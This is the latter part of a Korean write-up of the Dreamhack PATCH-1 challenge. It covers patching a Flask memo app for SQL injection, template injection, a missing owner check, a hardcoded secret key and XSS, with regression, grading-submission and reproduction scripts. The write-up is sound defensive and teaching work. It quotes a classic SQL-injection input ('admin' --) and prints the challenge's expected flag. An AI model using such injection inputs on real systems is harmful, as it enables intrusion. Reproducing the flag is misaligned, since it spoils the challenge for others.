    out.append(("memo-add", add))
    out.append(("memo-json", s.get(f"{base}/api/memo/{idx}").json()))
    out.append(("memo-html", s.get(f"{base}/api/memo/{idx}?mode=html").text.strip()))
    out.append(("memo-update", s.put(f"{base}/api/memo/{idx}",
                                     data={"title": "회의록2", "contents": "4시로 변경"}).json()))
    out.append(("memo-json2", s.get(f"{base}/api/memo/{idx}").json()))
    out.append(("memo-add-nologin", requests.put(f"{base}/api/memo/add",
                                                 data={"title": "x", "contents": "y"}).json()))
    out.append(("logout", s.get(f"{base}/api/logout").json()))
    out.append(("me-after", s.get(f"{base}/api/me").json()))
    return out
 
 
ra, rb = scenario(A), scenario(B)
bad = 0
print(f"{'단계':<18}{'원본 == 패치본':<14}값")
print("-" * 78)
for (na, va), (nb, vb) in zip(ra, rb):
    same = va == vb
    note = ""
    # html 모드는 XSS 패치 때문에 <, > 가 엔티티로 바뀐다. 되돌려서 같으면 의도된 차이다.
    if not same and na == "memo-html" and htmllib.unescape(vb) == va:
        same, note = True, "  (이스케이프만 다름 = 패치 의도)"
    bad += 0 if same else 1
    shown = str(va).replace("\n", " ")
    print(f"{na:<18}{'OK' if same else '다름':<14}{shown[:52]}{note}")
    if not same:
        print(f"{'':<32}패치본: {str(vb)[:52]}")
print("-" * 78)
print(f"불일치 {bad}건 / {len(ra)}단계")
sys.exit(1 if bad else 0)

python3 functest.py http://127.0.0.1:5000 http://127.0.0.1:5001

functest.py 로 원본과 패치본의 응답을 열두 단계 비교한 결과 — 불일치 0건이고 html 모드만 이스케이프 차이로 표시된다

열두 단계 중 유일하게 값이 달라진 건 memo-html 이다. 그건 <다시> 가 <다시> 로 바뀐 것이라 정확히 XSS 패치의 결과다. 엔티티를 되돌리면 원본과 같아지므로 의도된 차이로 표시하게 했다.

🚀 제출 — Submit 버튼은 3단계다

페이지의 Submit 버튼이 하는 일을 읽어 보면 단순하다. contenteditable 인 <pre> 의 innerText 를 UTF-8 로 인코딩해 base64 로 실어 보낸다.

$("[contenteditable]").each(function(index, item){
  var element = document.createElement("input");
  element.name  = item.getAttribute("filename");           // "app.py"
  element.value = btoa(unescape(encodeURIComponent(item.innerText)));
  element.type  = "hidden";
  form.appendChild(element);
});
form.action = "/check";   form.method = "POST";

여기서 한 번 걸렸다. /check 로 보내면 원본과의 diff 를 보여주는 확인 화면이 나올 뿐, 채점은 시작되지 않는다. 그 화면의 Continue 버튼이 같은 base64 를 /run 으로 다시 보내야 비로소 채점이 돈다. 게다가 결과는 비동기라 /result/<uuid> 가 한동안 process... 만 찍고, 그 페이지를 보려면 앞 단계의 쿠키를 들고 가야 한다.

브라우저에서 그대로 해 보면 이렇다. 편집 영역을 패치본으로 바꾸고,

PATCH-1 편집 화면에 패치본 소스를 넣은 상태 — secret_key 와 autoescape 를 고친 주석이 그대로 보인다

Submit 을 누르면 원본과의 diff 를 보여준다.

제출 확인 화면 — 원본 app.py 와 패치본의 통합 diff 가 표시되고 Continue 를 눌러야 채점이 시작된다

이 흐름을 그대로 옮긴 게 아래 스크립트다.

#!/usr/bin/env python3
"""패치본 app.py 를 채점 서버에 올리고 판정이 나올 때까지 기다린다.
 
  POST /check  <- 페이지의 Submit 버튼. 원본과의 diff 를 보여주는 확인 화면
  POST /run    <- 그 화면의 Continue 버튼. 여기서 실제 채점이 시작된다
  GET  /result/<uuid>  <- 비동기라 처음엔 'process...' 만 나온다. 끝날 때까지 폴링
"""
import base64
import html
import re
import sys
import time
 
import requests
 
BASE = sys.argv[1].rstrip("/")
SRC = sys.argv[2] if len(sys.argv) > 2 else "app_patched.py"
 
 
def totext(page, cut="Input Code"):
    body = page[page.find("</nav>"):]
    end = body.find(cut)
    if end > 0:
        body = body[:end]
    body = re.sub(r"<script[\s\S]*?</script>", "", body)
    text = html.unescape(re.sub(r"<[^>]+>", "\n", body))
    return "\n".join(l.rstrip() for l in text.splitlines() if l.strip())
 
 
code = open(SRC, "rb").read()
payload = base64.b64encode(code).decode()
print(f"[*] {SRC} {len(code)} bytes -> base64 {len(payload)} chars")
 
sess = requests.Session()
r = sess.post(f"{BASE}/check", data={"app.py": payload}, timeout=60)
print(f"[*] POST /check -> HTTP {r.status_code} (원본과의 diff 확인 화면)")
 
m = re.search(r'name="app\.py"\s+value="([^"]+)"', r.text)
if not m:
    print("[!] Continue 폼의 hidden input 을 못 찾았다:")
    print(totext(r.text)[:800])
    sys.exit(2)
 
r = sess.post(f"{BASE}/run", data={"app.py": m.group(1)}, timeout=300)
run_url = r.url
print(f"[*] POST /run   -> HTTP {r.status_code}  {run_url}")
 
for i in range(40):
    out = totext(sess.get(run_url, timeout=30).text)
    if "process" not in out.lower():
        print("\n=== 채점 결과 ===")
        print(out)
        break
    print(f"    [{i:02d}] 채점 중...")
    time.sleep(5)
else:
    print("[!] 시간 내에 채점이 끝나지 않았다")

python3 submit.py http://host3.dreamhack.games:18666 app_patched.py

submit.py 실행 결과 — check 와 run 을 거쳐 채점이 끝나고 ALL PASS 와 함께 flag 가 출력된다

브라우저로 눌러도 같은 결과가 나온다.

채점 결과 페이지 — ALL PASS 와 flag 가 표시되고 아래에 제출한 패치본 소스가 그대로 실려 있다

ALL PASS. 첫 제출에서 공격 테스트와 SLA 를 한 번에 통과했다.

=== 채점 결과 ===
Result - 5b49f279-5bf6-4fcd-8218-f6da43cd2913
ALL PASS
Flag is DH{7e07d530518d7983c066a7019b6cf027}

🔁 재현

라이브 인스턴스는 시간이 지나면 사라지니, 오프라인만으로도 검증이 끝나게 묶어 뒀다. 서버 주소를 주면 제출까지 이어서 실제 flag 와 대조한다.

#!/usr/bin/env bash
# PATCH-1 — 한 방 재현.
#
#   ./reproduce.sh                                    # 오프라인 검증까지
#   ./reproduce.sh http://host3.dreamhack.games:PORT  # + 라이브 채점 서버 제출
set -u
cd "$(dirname "$(readlink -f "$0")")"
 
EXPECT='DH{7e07d530518d7983c066a7019b6cf027}'
LIVE="${1:-}"
PORT_A=5000
PORT_B=5001
PIDS=()
 
cleanup() { for p in "${PIDS[@]:-}"; do [ -n "$p" ] && kill "$p" 2>/dev/null; done; }
trap cleanup EXIT
 
start() {  # start <app.py> <port>
  DATABASE="$PWD/local/repro_$2.db" \
    python3 local/init_db.py "$PWD/local/repro_$2.db" >/dev/null
  DATABASE="$PWD/local/repro_$2.db" \
    python3 -m flask --app "$1" run --host 127.0.0.1 --port "$2" >"/tmp/patch1_repro_$2.log" 2>&1 &
  PIDS+=($!)
}
 
echo "== 로컬 서버 기동 (원본 :$PORT_A / 패치본 :$PORT_B)"
start extracted/app.py "$PORT_A"
start app_patched.py "$PORT_B"
for _ in $(seq 30); do
  curl -sf "http://127.0.0.1:$PORT_B/" >/dev/null 2>&1 && break
  sleep 0.5
done
 
OUT_A=$(python3 exploit.py "http://127.0.0.1:$PORT_A" 2>&1)
VULN_A=$(printf '%s' "$OUT_A" | grep -oE '취약 [0-9]+건' | grep -oE '[0-9]+')
OUT_B=$(python3 exploit.py "http://127.0.0.1:$PORT_B" 2>&1)
VULN_B=$(printf '%s' "$OUT_B" | grep -oE '취약 [0-9]+건' | grep -oE '[0-9]+')
OUT_F=$(python3 functest.py "http://127.0.0.1:$PORT_A" "http://127.0.0.1:$PORT_B" 2>&1)
DIFF_F=$(printf '%s' "$OUT_F" | grep -oE '불일치 [0-9]+건' | grep -oE '[0-9]+')
 
OK=1
[ "${VULN_A:-0}" = "6" ] || { echo "❌ 원본에서 6건이 안 나왔다 (${VULN_A:-?})"; OK=0; }
[ "${VULN_B:-9}" = "0" ] || { echo "❌ 패치본이 아직 뚫린다 (${VULN_B:-?})"; OK=0; }
[ "${DIFF_F:-9}" = "0" ] || { echo "❌ 기능이 깨졌다 (불일치 ${DIFF_F:-?}건)"; OK=0; }
 
if [ -n "$LIVE" ]; then
  OUT_S=$(timeout 400 python3 submit.py "$LIVE" app_patched.py 2>&1)
  FLAG=$(printf '%s' "$OUT_S" | grep -aoE 'DH\{[^}]+\}' | head -1)
  [ "$FLAG" = "$EXPECT" ] || { echo "❌ FAIL (얻은 값: '${FLAG:-없음}')"; exit 1; }
  echo "✅ PASS  $FLAG"; exit 0
fi
 
[ "$OK" = "1" ] && { echo "✅ PASS  오프라인 검증 통과"; exit 0; }
echo "❌ FAIL"; exit 1

로컬 환경은 Ubuntu(커널 6.17) · Python 3.13.7 · Flask 3.1.3 · Jinja2 3.1.6 이었다. 문제 서버는 requirements.txt 가 flask 한 줄이라 버전이 다를 수 있는데, 패치는 버전에 의존하지 않게 짰다(삽질 3 참고).

📝 결론

취약점을 아는 것과 고치는 것은 다른 일이다

SQLi 를 안다는 건 admin' -- 를 넣을 줄 안다는 뜻이기도 하고, 문자열 연결을 플레이스홀더로 바꿀 줄 안다는 뜻이기도 하다. 이 문제는 후자만 채점한다. 그리고 고치는 쪽에는 공격에는 없는 제약이 하나 더 붙는다. 멀쩡한 요청을 깨뜨리면 안 된다는 것.

SSTI 는 "템플릿 소스에 무엇이 들어가는가"의 문제다

render_template_string 자체가 위험한 게 아니라, 사용자 값이 템플릿 소스로 들어가는 게 위험하다. .format() 이든 f-string 이든 문자열 연결이든, 템플릿 문자열을 런타임에 조립하는 순간 그 안의 사용자 값은 코드가 된다. 값은 항상 인자로 넘긴다. 이스케이프로 막으려는 시도는 헛수고다 — markupsafe.escape 는 중괄호를 건드리지 않으니까.

소유자 검증은 "읽어 온 행"과 "세션"을 대조하는 것이다

memoUpdate 는 대상 행을 이미 읽어 놓고도 그걸 세션 사용자와 비교하지 않았다. 로그인 여부만 확인하는 가르드는 인증이지 인가가 아니다. 둘을 같은 것으로 취급하면 이런 구멍이 남는다.

세션 키가 소스에 있으면 인가 로직 전체가 무의미해진다

Flask 세션 쿠키는 서명만 붙는다. 키를 아는 사람은 아무 uid 나 담을 수 있고, 그러면 방금 넣은 소유자 검증도 정면으로 통과한다. 개별 라우트를 아무리 잘 막아도 키 하나가 새면 그 아래가 전부 무너진다.

로컬에서 다 끝내고 올리는 게 결국 빠르다

30초 제한이 있는 제출 폼에 붙어 하나씩 맞춰 볼 수도 있었지만, 스키마를 역산해 같은 서버를 띄워 놓고 점검기와 회귀 테스트를 먼저 만든 덕에 제출은 한 번으로 끝났다. usage 페이지가 "로컬 환경에서 테스트 후 서버의 검증 과정을 받는 것을 추천"한다고 적어 둔 이유가 있다.